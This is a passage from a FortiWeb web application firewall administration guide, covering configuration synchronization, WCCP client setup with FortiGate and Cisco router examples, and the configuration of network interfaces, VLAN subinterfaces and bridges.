A dialog appears, warning you that all policies and profiles with identical names will be overwritten on the other FortiWeb, and asking if you want to continue.

8. Click **Yes**.

The FortiWeb appliance sends its configuration to the other, which synchronizes any identically-named policies and settings. Time required varies by the size of the configuration and the speed of the network connection. When complete, this message should appear:

```
Config. synchronized successfully.
```

See also

- ["Topologies for high availability \(HA\) clustering"](#) on page 110

Configuring FortiWeb to receive traffic via WCCP

You can configure FortiWeb as a Web Cache Communication Protocol (WCCP) client. This configuration allows a FortiGate configured as a WCCP server to redirect HTTP and HTTPS traffic to FortiWeb for inspection.

If your WCCP configuration includes multiple WCCP clients, the WCCP server can balance the traffic load among the clients. In addition, it detects when a client fails and redirects sessions to clients that are still available.

WCCP was originally designed to provide web caching with load balancing and fault tolerance and is described by the Web Cache Communication Protocol Internet draft (<http://tools.ietf.org/id/draft-wilson-wrec-wccp-v2-01.txt>).

This feature requires the operation mode to be WCCP. For details, see ["Setting the operation mode"](#) on page 135.

For details about connecting and configuring your network devices for WCCP mode, see ["Topology for WCCP mode"](#) on page 109.

For detailed information on configuring FortiGate and other Fortinet devices to act as a WCCP service group, see the FortiGate WCCP topic in the *FortiOS Handbook*:

<http://docs.fortinet.com/fortigate>

Configuring the FortiWeb WCCP client settings

To configure FortiWeb as a WCCP client

1. Ensure the operation mode is **WCCP**. For details, see ["Setting the operation mode"](#) on page 135.
2. Configure the network interface that communicates with the FortiGate (the WCCP server) to use the WCCP Protocol. For details, see ["Configuring the network settings"](#) on page 162.
3. Go to **System > Config > WCCP Client**.
4. Click **Create New**.
5. Configure these settings:

Service ID	Specifies the service ID of the WCCP service group that this WCCP client belongs to. For HTTP traffic, the service ID is 0. For other types of traffic (for example, HTTPS), the valid range is 51 to 255. (Do not use 1 to 50, which are reserved by the WCCP standard.)
Cache ID	Specifies the IP address of the FortiWeb interface that communicates with the WCCP server.

	Ensure that the WCCP protocol is enabled for the specified network interface. See "Configuring the network settings" on page 162.
Group Address	Specifies the IP addresses of the clients for multicast WCCP configurations. The multicast address allows you to configure a WCCP service group with more than 8 WCCP clients. The valid range of multicast addresses is 224.0.0.0 to 239.255.255.255.
Router List	Specifies the IP addresses of the WCCP servers in the WCCP service group. You can specify up to 8 servers. Click + (plus sign) to add additional addresses. To configure more than 8 WCCP servers, use Group Address (page 154) instead.
Port	Specifies the port numbers of the sessions that this client inspects. The valid range is 0 to 65535. Enter 0 to specify all ports.
Authentication	Specifies whether communication between the WCCP server and client is encrypted using the MD5 cryptographic hash function.
Password	Specifies the password used by the WCCP server and clients. All servers and clients in the group use the same password. The maximum password length is 8 characters. Available only when Authentication (page 154) is enabled.
Service Priority	Specifies the priority that this service group has. If more than one service group is available to scan the traffic specified by Port (page 154) and Service Protocol (page 154), the WCCP server transmits all the traffic to the service group with the highest Service Priority value.
Service Protocol	Specifies the protocol of the network traffic the WCCP service group transmits. For TCP sessions the protocol is 6.
Cache Engine Method	Specify how the WCCP server redirects traffic to FortiWeb. • GRE—The WCCP server encapsulates redirected packets within a generic routing encapsulation (GRE) header. The packets also have a WCCP redirect header. • L2—The WCCP server overwrites the original MAC header of the IP packets and replaces it with the MAC header for the WCCP client.
Primary Hash	Specifies that hashing scheme that the WCCP server uses in combination with the Weight (page 155) value to direct traffic, when the WCCP service

	group has more than one WCCP client.
	The hashing scheme can be the source IP address, destination IP address, source port, or destination port, or a combination of these values.
Weight	Specifies a value that the WCCP server uses in combination with the Primary Hash (page 154) value to direct traffic, when the WCCP service group has more than one WCCP client. The valid range is 0 to 255.
Bucket Format	Specifies the hash table bucket format for the WCCP cache engine.



Although you can set different values for settings such as **Service Priority** and **Primary Hash** for each WCCP client in a service group, the settings in the WCCP client with the lowest **Cache ID** value have priority.

For example, if a WCCP service group has two WCCP clients with cache IDs 172.22.80.99 and 172.22.80.100, the group uses the WCCP client settings for 172.22.80.99.

6. Click **OK**.

7. Optionally, use the following CLI command to route traffic back to the client instead of the WCCP server. You cannot enable this feature using the web UI.

```
config system wccp
  edit <service-id>
    set return-to-sender enable
  next
end
```

8. Create a WCCP server pool. See "[Creating a server pool](#)" on page 397.

9. Create a server policy in which the **Deployment Mode** is **WCCP Servers** and the selected server pool is the WCCP pool you created earlier.

Viewing WCCP protocol information

You can use a FortiGate CLI command to display WCCP information. For example:

```
diagnose debug enable
diagnose debug application wccp 2
```

In this example, the debug level is 2.

Example output:

```
-----WCCP Service ID 52-----
WCCP_server_list: 1 WCCP server in total
  0. 172.22.80.1
    receive_id:13290 change_number:7
```


```

WCCP client seen by this WCCP Server:
  0. 172.22.80.99 weight:0 (*Designated WCCP Client)
  1. 172.22.80.100 weight:0
WCCP service options:
  priority: 0
  protocol: 6
  port: 80, 443
  primary-hash: src-ip, dst-ip

```

Example: Using WCCP with FortiOS 5.2.x

This configuration uses WCCP in a one-arm topology and WCCP to route HTTP and HTTPS traffic to a FortiWeb for scanning before forwarding permitted traffic to the back-end servers.



The following command sets the IP address and enables WCCP for port3 on the firewall running FortiOS 5.2.x:

```

config system interface
  edit "port3"
    set ip 172.22.80.1 255.255.255.0
    set wccp enable
  next
end

```


On the firewall, the following command specifies a WCCP service group using a service group ID (52), the firewall interface that supports WCCP (172.22.80.1), and the interface the FortiWeb uses for WCCP communication (172.22.80.100).

```
config system wccp
  edit "52"
    set router-id 172.22.80.1
    set server-list 172.22.80.100 255.255.255.0
  next
end
```

The following firewall policies specify the traffic that FortiGate routes to the FortiWeb for scanning:

- A port1 to port2 policy that accepts HTTP and HTTPS traffic and for which WCCP is enabled.
- A port1 to port2 policy that accepts HTTP and HTTPS traffic and for which WCCP is not enabled. This policy maintains traffic flow when the WCCP client is not available (for example, if FortiWeb is rebooting).
- A port3 to port2 policy that accepts scanned HTTP and HTTPS traffic from the FortiWeb.

```
config firewall policy

  edit 1
    set srcintf "Port1"
    set dstintf "Port2"
    set srcaddr "all"
    set dstaddr "192.168.1.4" "192.168.1.5"
    set action accept
    set schedule "always"
    set service "HTTP" "HTTPS"
    set wccp enable
  next

  edit 2
    set srcintf "Port1"
    set dstintf "Port2"
    set srcaddr "all"
    set dstaddr "192.168.1.4" "192.168.1.5"
    set action accept
    set schedule "always"
    set service "HTTP" "HTTPS"
  next

  edit 3
    set srcintf "Port3"
    set dstintf "Port2"
    set srcaddr "all"
    set dstaddr "192.168.1.4" "192.168.1.5"
    set action accept
    set schedule "always"
    set service "HTTP" "HTTPS"
  next
end
```

WCCP is enabled for the interface that connects FortiWeb to the firewall.

The WCCP client configuration on FortiWeb adds it to the WCCP service group 52, specifies the interface used for WCCP client functionality (172.22.80.100) and the WCCP server (172.22.80.1).

The destination servers are members of a WCCP server pool. This pool is selected in the WCCP Servers server policy that FortiWeb applies to the traffic it receives from the firewall via WCCP.

Example: Using WCCP with FortiOS 5.4

You can use the commands and settings described in ["Example: Using WCCP with FortiOS 5.2.x"](#) on page 156 to create that same configuration with a firewall running FortiOS 5.4.

However, FortiOS 5.4 also allows you to configure WCCP communication with FortiWeb using its **External Security Devices** settings. This example creates the same environment as ["Example: Using WCCP with FortiOS 5.2.x"](#) on page 156.

FortiGate configuration:


- WCCP is enabled for port3 on the firewall running FortiOS 5.4 (172.22.80.1).
- In **System > External Security Devices**, **HTTP Service** is enabled. For **FortiWeb IPs**, the FortiWeb acting as a WCCP client is specified.
- The service ID is 51. This is the only service ID that the firewall can use for WCCP clients configured using the web UI.
- In the **Security Profiles > Web Application Firewall** settings, for **Inspection Device**, select **External**.
- In the **Policy & Objects > IPv4 Policy** settings, configure a policy for which Web Application Firewall is enabled.
- A second policy for which **Web Application Firewall** is not enabled to maintain traffic flow when the WCCP client is not available
- A third policy accepts scanned HTTP and HTTPS traffic from the FortiWeb.

FortiWeb configuration:

Configuration is the same as ["Example: Using WCCP with FortiOS 5.2.x"](#) on page 156, except the service ID value is 51. This is the only service ID value you can use when you configure WCCP communication using the FortiOS 5.4 **External Security Devices** settings.

Example: Using WCCP with multiple FortiWeb appliances

You can use WCCP to create a high availability cluster in which both appliances are active (active-active). You synchronize the cluster members using FortiWeb's configuration synchronization feature so that each cluster member is ready to act as backup if the other appliance is not available. The WCCP server provides load balancing between the HA pair and redirects all traffic to one cluster member if the other member is unavailable.



To create this configuration, you first configure FortiWeb A and use the configuration synchronization feature to "push" the configuration to FortiWeb B. (See ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149.) You then complete the configuration for FortiWeb B. The Config-Synchronization feature does not synchronize the following configuration when the operating mode is WCCP:

- **System > Network > Interface**
- **System > Network > Static Route**
- **System > Network > Policy Route**
- **System > Config > WCCP Client**
- Administrator accounts
- Access profiles
- HA settings

For detailed configuration settings for each FortiWeb, see ["Example: Using WCCP with FortiOS 5.2.x"](#) on page 156.

You can link the FortiGate and FortiWeb appliances in this topology without using a switch. Instead, you can link the FortiWeb appliances to FortiGate directly and use the following commands to create a switch on the firewall:

```
config system interface
  edit "port3"
    set vdom "root"
```

```


set vlanforward enable
set type physical
set alias "FWB-A"
next
edit "port4"
set vdom "root"
set vlanforward enable
set type physical
set alias "FWB-B"
next
edit "WCCP_Server"
set vdom "root"
set ip 172.22.80.1 255.255.255.0
set allowaccess ping
set type switch
set wccp enable
next
end

```

Example: Using WCCP with a Cisco router

You can use FortiWeb's WCCP feature to integrate it with third-party devices that support the WCCP protocol.

In this example, a router running Cisco IOS routes HTTP and HTTPS traffic destined for the back-end servers to a FortiWeb for scanning.



You create the WCCP server configuration using a series of Cisco IOS commands.

Because the WCCP configuration is standardized, FortiWeb can work interchangeably with different WCCP servers as long as they have the same WCCP configuration. Thus, the FortiWeb WCCP client configuration is mostly the same as the one described in ["Example: Using WCCP with FortiOS 5.2.x"](#) on page 156.

Cisco IOS command examples

Specify WCCP version 2:

```
Router# config terminal
Router(config)# ip wccp version 2
```

Add the FortiWeb to the list of WCCP clients:

```
Router(config)# ip access-list extended wccp_client
Router (config-ext-nacl) # permit ip host 172.22.80.100 any
Router (config-ext-nacl) # exit
```

Configure a WCCP access list that routes HTTP and HTTPS requests for the subnet used by the back-end servers to FortiWeb:

```
Router(config)# ip access-list extended wccp_acl
Router (config-ext-nacl) # permit tcp any 192.168.1.0 0.0.0.255 eq www 443
Router (config-ext-nacl) # exit
```

Configure a service group that registers the router to the FortiWeb:

```
Router(config)# ip wccp source-interface GigabitEthernet3
Router(config)# ip wccp 52 redirect-list wccp_acl group-list wccp_client password 0
fortinet
```

Alternatively, you can register the router to a multicast address:

```
Router(config)# ip wccp source-interface GigabitEthernet3
Router(config)# ip wccp 52 group-address 239.0.0.0 redirect-list wccp_acl password 0
123456
```

Enable packet redirection on the inbound interface using WCCP:

```
Router(config)# interface GigabitEthernet1
Router(config)# ip wccp 52 redirect in
```

Enable packet redirection on the outbound interface using WCCP:

```
Router(config)# interface GigabitEthernet2
Router(config)# ip wccp 52 redirect out
```

If the service group uses a multicast address, register the router to the multicast address you specified earlier (239.0.0.0):

```
Router(config)# ip multicast-routing distributed
Router(config)# interface GigabitEthernet3
Router(config)# ip wccp 52 group-listen
Router(config)# ip pim sparse-dense-mode
```

When the configuration is complete, check WCCP status:

```
Router#show ip wccp <service_id> detail
Router#debug ip wccp events
Router#debug ip wccp packets
```

FortiWeb WCCP configuration

The **System > Config > WCCP Client** configuration for this example is different from the one described in "Example: Using WCCP with FortiOS 5.2.x" on page 156 in the following two ways:

- If the service group uses a multicast address, you specify a value for **Group Address** instead of for **Router List**.
- You enable **Authentication** and specify a password.

Otherwise, network interface, WCCP client and server pool and policy configuration is the same as the one found in "Example: Using WCCP with FortiOS 5.2.x" on page 156.

Configuring the network settings

When shipped, each of the FortiWeb appliance's physical network adapter ports (or, for FortiWeb-VM, vNICs) has a default IP address and netmask. If these IP addresses and netmasks are not compatible with the design of your unique network, you must configure them.

Network Interface*	IPv4 Address/Netmask	IPv6 Address/Netmask
port1	192.168.1.99/24	::/0
port2	0.0.0.0/0	::/0
port3	0.0.0.0/0	::/0
port4	0.0.0.0/0	::/0
* The number of network interfaces varies by model.		

You also must configure FortiWeb with the IP address of your DNS servers and gateway router.

You can use either the web UI or the CLI to configure these basic network settings.



If you are installing a FortiWeb-VM virtual appliance, and you followed the instructions in the *FortiWeb-VM Install Guide* (<http://docs.fortinet.com/fortiweb/hardware>), you have already configured some of the settings for `port1`. To fully configure **all** of the network interfaces, you **must** complete this chapter.


To configure a network interface or bridge

To connect to the CLI and web UI, you **must** assign at least one FortiWeb network interface (usually `port1`) with an IP address and netmask so that it can receive your connections. Depending on your network, you usually must configure others so that FortiWeb can connect to the Internet and to the web servers it protects.

How should you configure the other network interfaces? Should you add more? Should each have an IP address? That varies. In some cases, you may **not** want to assign IP addresses to the other network interfaces.

Initially, each physical network port (or, on FortiWeb-VM, a vNIC) has only one network interface that directly corresponds to it — that is, a "physical network interface." Multiple network interfaces ("subinterfaces" or "virtual interfaces") can be associated with a single physical port, and vice versa ("redundant interfaces"/"NIC

teaming"/"NIC bonding" or "aggregated links"). These can provide features such as link failure resilience or multi-network links.



FortiWeb does not currently support IPSec VPN virtual interfaces nor redundant links. If you require these features, implement them separately on your FortiGate, VPN appliance, or firewall.

Usually, each network interface has at least one IP address and netmask. However, this is not true for bridges.

Bridges (V-zones) allow packets to travel between the FortiWeb appliance's physical network ports over a physical layer link, **without** an IP layer connection with those ports.

Use bridges when:

- The FortiWeb appliance operates in True Transparent Proxy or Transparent Inspection mode, and
- You want to deploy FortiWeb between incoming connections and the web server it is protecting, **without** changing your IP address scheme or performing routing or network address translation (NAT)

For bridges, do **not** assign IP addresses to the ports that you will connect to either the web server or to the overall network. Instead, group the two physical network ports by adding their associated network interfaces to a bridge.

Configure each network interface that will connect to your network or computer (see "[Configuring the network interfaces](#)" on page 164 or "[Configuring a bridge \(V-zone\)](#)" on page 171). If you want multiple networks to use the same wire while minimizing the scope of broadcasts, configure VLANs (see "[Adding VLAN subinterfaces](#)" on page 167).

See also

- "Configuring the network interfaces" on page 164
- "Adding VLAN subinterfaces" on page 167
- "Link aggregation" on page 174
- "Configuring a bridge (V-zone)" on page 171

Configuring the network interfaces

You can configure network interfaces either via the web UI or the CLI. If your network uses VLANs, you can also configure VLAN subinterfaces. For details, see "Adding VLAN subinterfaces" on page 167.

If the FortiWeb appliance is operating in True Transparent Proxy or Transparent Inspection mode and you will configure a V-zone (bridge), do **not** configure any physical network interfaces other than port1. Configured NICs cannot be added to a bridge. For details, see "Configuring a bridge (V-zone)" on page 171.

If this FortiWeb will belong to a FortiWeb HA cluster, do **not** configure any network interface that will be used as an HA heartbeat and synchronization link. If you are re-cabling your network and must configure it, connect and switch to the new HA link **first**. Failure to do so could cause unintentional downtime, failover, and ignored IP address configuration. To switch the HA link, see "Configuring a high availability (HA) FortiWeb cluster" on page 137.

To customize the network interface information that FortiWeb displays when you go to **System > Network > Interface**, right-click the heading row. Select and clear the columns you want to display or hide, and then click **Apply**.

To configure a network interface's IP address via the web UI

1. Go to **System > Network > Interface**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "Permissions" on page 85.

If the network interface's **Status** column is **Bring Up**, its administrative status is currently "down" and it will not receive or emit packets, even if you otherwise configure it. To bring up the network interface, click the **Bring Up** link.



This **Status** column is **not** the detected physical link status; it is the administrative status that indicates whether you permit network interface to receive and/or transmit packets.

For example, if the cable is physically unplugged, `diagnose hardware nic list port1` or "Operation widget" on page 688 may indicate that the link is down, even though you have administratively enabled it by clicking **Bring Up**.

By definition, HA heartbeat and synchronization links should always be "up." Therefore, if you have configured FortiWeb to use a network interface for HA, its **Status** column will always display **HA Member**.

2. Double-click the row of the network interface that you want to modify.

The **Edit Interface** dialog appears. **Name** displays the name and media access control (MAC) address of this network interface. The network interface is directly associated with one physical link as indicated by its name, such as **port2**.

In HA, it may use a virtual MAC instead. For details, see ["HA heartbeat & synchronization"](#) on page 76 and ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

3. Configure these settings:

Addressing Mode	Specify whether FortiWeb acquires an IPv4/IPv6 address for this network interface using DHCP.
IP/Netmask	Type the IP address and subnet mask, separated by a forward slash (/), such as 192.0.2.2/24 for an IPv4 address or 2001:0db8:85a3::8a2e:0370:7334/64 for an IPv6 address. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.
Administrative Access	Enable the types of administrative access that you want to permit to this interface. These options do not disable outgoing administrative connections, such as update polling connections to the FDN or outgoing ICMP resulting from a CLI command such as <code>execute ping</code>. Neither do they govern traffic destined for a web server or virtual server, which are governed by policies. These options only govern incoming connections destined for the appliance itself. Caution: Enable only on network interfaces connected to trusted private networks (defined in Trusted Host #1 (page 332), Trusted Host #2 (page 332), Trusted Host #3 (page 332)) or directly to your management computer. If possible, enable only secure administrative access protocols such as HTTPS or SSH. Failure to restrict administrative access could compromise the security of your FortiWeb appliance.
HTTPS	Enable to allow secure HTTPS connections to the web UI through this network interface. To configure the listening port number, see "Global web UI & CLI settings" on page 89.
PING	Enable to allow: • ICMP type 8 (ECHO_REQUEST) • UDP ports 33434 to 33534 for <code>ping</code> and <code>traceroute</code> to be received on this network interface. When it receives an ECHO_REQUEST ("ping"), FortiWeb will reply with ICMP type 0 (ECHO_RESPONSE or "pong"). Note: Disabling PING only prevents FortiWeb from receiving ICMP type 8 (ECHO_REQUEST) and traceroute-related UDP. It does not disable FortiWeb CLI commands such as <code>execute ping</code> or

<code>execute traceroute</code> that send such traffic.	
HTTP	Enable to allow HTTP connections to the web UI through this network interface. To configure the listening port number, see Global web UI & CLI settings (page 89). Caution: HTTP connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
SSH	Enable to allow SSH connections to the CLI through this network interface.
SNMP	Enable to allow SNMP queries to this network interface, if queries have been configured and the sender is a configured SNMP manager. To configure the listening port number and configure queries and traps, see "SNMP traps & queries" on page 715.
TELNET	Enable to allow Telnet connections to the CLI through this network interface. Caution: Telnet connections are not secure, and can be intercepted by a third party. For this reason, Telnet access is not allowed on all of the network interfaces by default. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
FortiWeb Manager	Enable to allow FortiWeb Manager to connect to this appliance using this network interface.
WCCP Protocol	Select if the interface is used to communicate with a FortiGate unit configured as a WCCP server. Available only when the operation mode is WCCP. For details, see "Setting the operation mode" on page 135 and "Configuring FortiWeb to receive traffic via WCCP" on page 153.
Description	Type a comment. The maximum length is 63 characters. Optional.

4. Click **OK**.

If you were connected to the web UI through this network interface, you are now disconnected from it.

5. To access the web UI again, in your web browser, modify the URL to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 10.10.10.5, you would browse to: `https://10.10.10.5`

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance's new IP address.

To configure a network interface's IPv4 address via the CLI

Enter the following commands:

```
config system interface
  edit <interface_name>
    set mode {manual|dhcp}
    set ip <address_ipv4mask> <netmask_ipv4mask>
    set allowaccess {http https ping snmp ssh telnet}
  end
```

where:

- <interface_name> is the name of a network interface
- {manual|dhcp} specifies how the network interface is addressed.
- <address_ipv4> is the IP address assigned to the network interface
- <netmask_ipv4mask> is its netmask in dotted decimal format
- {http https ping snmp ssh telnet} is a space-delimited list of zero or more administrative protocols that you want to allow to access the FortiWeb appliance through the network interface



HTTP and Telnet connections are **not** secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.

If you were connected to the CLI through this network interface, you are now disconnected from it.

To access the CLI again, in your terminal client, modify the address to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 172.16.1.20, you would connect to that IP address.

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance's new IP address.

Adding VLAN subinterfaces

You can add a virtual local area network (VLAN) subinterface to a network interface or bridge on the FortiWeb appliance, up to a maximum of 512 VLAN in total.

Similar to a local area network (LAN), use a IEEE 802.1q (<http://www.ieee802.org/1/pages/802.1Q.html>) VLAN to reduce the size of a broadcast domain and thereby reduce the amount of broadcast traffic received by network hosts, improving network performance.



VLANs are **not** designed to be a security measure, and should not be used where untrusted devices and/or individuals outside of your organization have access to the equipment. VLAN tags are not authenticated, and can be ignored or modified by attackers. VLAN tags rely on the voluntary compliance of the receiving host or switch.

Unlike physical LANs, VLANs do not require you to install separate hardware switches and routers to achieve this effect. Instead, VLAN-compliant switches, such as FortiWeb appliances, restrict broadcast traffic based upon whether its VLAN ID matches that of the destination network. As such, VLAN trunks can be used to join physically distant broadcast domains as if they were close.

The VLAN ID is part of the tag that is inserted into each Ethernet frame in order to identify traffic for a specific VLAN. VLAN header addition is handled automatically by FortiWeb appliances, and does not require that you adjust the maximum transmission unit (MTU). Depending on whether the device receiving a packet operates at Layer 2 or Layer 3 of the network, this tag may be added, removed, or rewritten before forwarding to other nodes on the network.

Cisco Discovery Protocol (CDP) is supported for VLANs, including when FortiWeb is operating in either of the transparent modes.

If your FortiWeb model uses Data Plane Development Kit (DPDK) for packet processing (for example, models 3000E, 3010E and 4000E), you cannot use VLAN subinterfaces as a data capture port for Offline Protection mode. For these models, remove any VLAN configuration on an interface before you use it for data capture. These models fully support the capture and transmission of VLAN traffic.

To configure a VLAN subinterface

1. Go to **System > Network > Interface**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type the name (for example, <code>vlan100</code>) of this VLAN subinterface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. Tip: The name cannot be changed once you save the entry. For a workaround, see "Renaming entries" on page 94.
Interface	Select the name of the physical network port with which the VLAN subinterface will be associated.
VLAN ID	Type the VLAN ID, such as <code>100</code>, of packets that belong to this VLAN subinterface. • If one physical network port (that is, a VLAN trunk) will handle multiple VLANs, create multiple VLAN subinterfaces on that port, one for each VLAN ID that will be received. • If multiple different physical network ports will handle the same VLANs, on each of the ports, create VLAN subinterfaces that have the same VLAN IDs. The valid range is between 1 and 4094 and must match the VLAN ID added by the IEEE 802.1q-compliant router or switch connected to the VLAN subinterface.

	For the maximum number of interfaces for your FortiWeb model, including VLAN subinterfaces, see "Appendix B: Maximum configuration values" on page 817.
Addressing Mode	Specify whether FortiWeb acquires an IPv4/IPv6 address for this VLAN using DHCP.
IP/Netmask	Type the IP address/subnet mask associated with the VLAN, if any. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.
Administrative Access	Enable the types of administrative access that you want to permit to this interface. These options do not disable outgoing administrative connections, such as update polling connections to the FDN or outgoing ICMP resulting from a CLI command such as <code>execute ping</code>. Neither do they govern traffic destined for a web server or virtual server, which are governed by policies. These options only govern incoming connections destined for the appliance itself. Caution: Enable only on network interfaces connected to trusted private networks (defined in Trusted Host #1 (page 332), Trusted Host #2 (page 332), Trusted Host #3 (page 332)) or directly to your management computer. If possible, enable only secure administrative access protocols such as HTTPS or SSH. Failure to restrict administrative access could compromise the security of your FortiWeb appliance.
HTTPS	Enable to allow secure HTTPS connections to the web UI through this network interface. To configure the listening port number, see "Global web UI & CLI settings" on page 89.
PING	Enable to allow: • ICMP type 8 (<code>ECHO_REQUEST</code>) • UDP ports 33434 to 33534 for <code>ping</code> and <code>traceroute</code> to be received on this network interface. When it receives an <code>ECHO_REQUEST</code> ("ping"), FortiWeb will reply with ICMP type 0 (<code>ECHO_RESPONSE</code> or "pong"). Note: Disabling PING only prevents FortiWeb from receiving ICMP type 8 (<code>ECHO_REQUEST</code>) and traceroute-related UDP. It does not disable FortiWeb CLI commands such as <code>execute ping</code> or <code>execute traceroute</code> that send such traffic.
HTTP	Enable to allow HTTP connections to the web UI through this network interface. To configure the listening port number, see "Global web UI & CLI settings" on page 89.

Caution: HTTP connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.	
SSH	Enable to allow SSH connections to the CLI through this network interface.
SNMP	Enable to allow SNMP queries to this network interface, if queries have been configured and the sender is a configured SNMP manager. To configure the listening port number and configure queries and traps, see "SNMP traps & queries" on page 715.
TELNET	Enable to allow Telnet connections to the CLI through this network interface. Caution: Telnet connections are not secure, and can be intercepted by a third party. For this reason, Telnet access is not allowed on all of the network interfaces by default. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
FortiWeb Manager	Enable to allow FortiWeb Manager to connect to this appliance using this network interface.
WCCP Protocol	Select if the interface is used to communicate with a FortiGate unit configured as a WCCP server. Available only when the operation mode is WCCP. For details, see "Setting the operation mode" on page 135 and "Configuring FortiWeb to receive traffic via WCCP" on page 153.

4. Click **OK**.

Your new VLAN is initially hidden in the list of network interfaces.

To expand the network interface listing in order to view all of a port's associated VLANs, click the + (plus sign) beside the name of the port.

See also

- ["IPv6 support"](#) on page 60
- ["To configure a network interface or bridge"](#) on page 162
- ["Configuring a bridge \(V-zone\)"](#) on page 171
- ["Link aggregation"](#) on page 174
- ["Configuring DNS settings"](#) on page 185
- ["Adding a gateway"](#) on page 178

- "Fail-to-wire for power loss/reboots" on page 663
- "Global web UI & CLI settings" on page 89

Configuring a bridge (V-zone)

You can configure a bridge either via the web UI or the CLI.

Bridges allow network connections to travel through the FortiWeb appliance's physical network ports **without** explicitly connecting to one of its IP addresses. Due to this nature, bridges are configured **only** when FortiWeb is operating in either True Transparent Proxy or Transparent Inspection mode.

Bridges on the FortiWeb appliance support IEEE 802.1d (<http://standards.ieee.org/getieee802/download/802.1D-2004.pdf>) spanning tree protocol (STP) by forwarding bridge protocol data unit (BPDU) packets, but do **not** generate BPDU packets of their own. Therefore, in some cases, you might need to manually test the bridged network for Layer 2 loops. Also, you may prefer to manually design a tree that uses the minimum cost path to the root switch for design and performance reasons.

True bridges typically have no IP address of their own. They use only media access control (MAC) addresses to describe the location of physical ports within the scope of their network and do network switching at Layer 2 of the OSI model.

You can configure FortiWeb to monitor the members of bridge. When monitoring is enabled, if a network interface that belongs to the bridge goes down, FortiWeb automatically brings down the other members.

Using network interface MAC addresses in True Transparent Proxy mode

When the operation mode is True Transparent Proxy, by default, traffic that travels through a bridge to the back-end servers preserves the MAC address of the source.

If you are using FortiWeb with front-end load balancers that are in a high availability cluster that connects via multiple bridges, this mechanism can cause switching problems on failover.

To avoid this problem, the `config system v-zone` command allows you to configure FortiWeb to use the MAC address of the FortiWeb network interface instead. The option is not available in the web UI. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To configure a bridge via the web UI

1. If you have installed a **physical** FortiWeb appliance, plug in network cables to connect one of the physical ports in the bridge to your protected web servers, and the other port to the Internet or your internal network.

Because `port1` is reserved for connections with your management computer, for physical appliances, this means that you must plug cables into at least 3 physical ports:

- `port1` to your management computer
- one port to your web servers
- one port to the Internet or your internal network

If you have installed a **virtual** FortiWeb appliance (FortiWeb-VM), the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>



To use fail-to-wire, the bridge **must** be comprised of the ports that have hardware support for fail-to-wire. For example, on FortiWeb 1000C, this is port3 and port4. See "[Fail-to-wire for power loss/reboots](#)" on page 663 and the QuickStart Guide for your model.

2. If you have installed FortiWeb-VM, configure the virtual switch (vSwitch). For details, see the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

3. Go to **System > Network > V-zone**.

This option is not displayed if the current operating mode does not support bridges.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

4. Click **Create New**.
5. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. The name cannot be changed once you save the entry. For details, see " Renaming entries " on page 94.
Interface name	Displays a list of network interfaces that you can add to a bridge. Only interfaces that currently have no IP address and are not members of another bridge are displayed. To add one or more network interfaces to the bridge, select their names, then click the right arrow. Note: Only network interfaces with no IP address can belong to a bridge. <code>port1</code> is reserved for your management computer, and cannot be bridged. To remove any other network interface's IP address so that it can be included in the bridge, set its IP/Netmask (page 165) to <code>0.0.0.0/0.0.0.0</code>.
Member	Displays a list of network interfaces that belong to this bridge. To remove a network interface from the bridge, select its name, then click the left arrow. Tip: If you will be configuring bypass/fail-to-wire, the pair of bridge ports that you select should be ones that are wired together to support it. For details, see "Fail-to-wire for power loss/reboots" on page 663.

6. Click **OK**.

The bridge appears in **System > Network > V-zone**.

7. To configure FortiWeb to automatically bring down all members of this v-zone when one member goes down, select **Member Monitor**.
8. To use the bridge, select it in a policy (see "[Configuring a server policy](#)" on page 277).

To configure a bridge in the CLI

1. If you have installed a physical FortiWeb appliance, connect one of the physical ports in the bridge to your protected web servers, and the other port to the Internet or your internal network.

Because `port1` is reserved for connections with your management computer, for physical appliances, this means that you must connect at least 3 ports:

- `port1` to your management computer
- one port to your web servers
- one port to the Internet or your internal network

If you have installed a virtual FortiWeb appliance, the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

2. If you have installed FortiWeb as a virtual appliance (FortiWeb-VM), configure the virtual switch. For details, see the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>
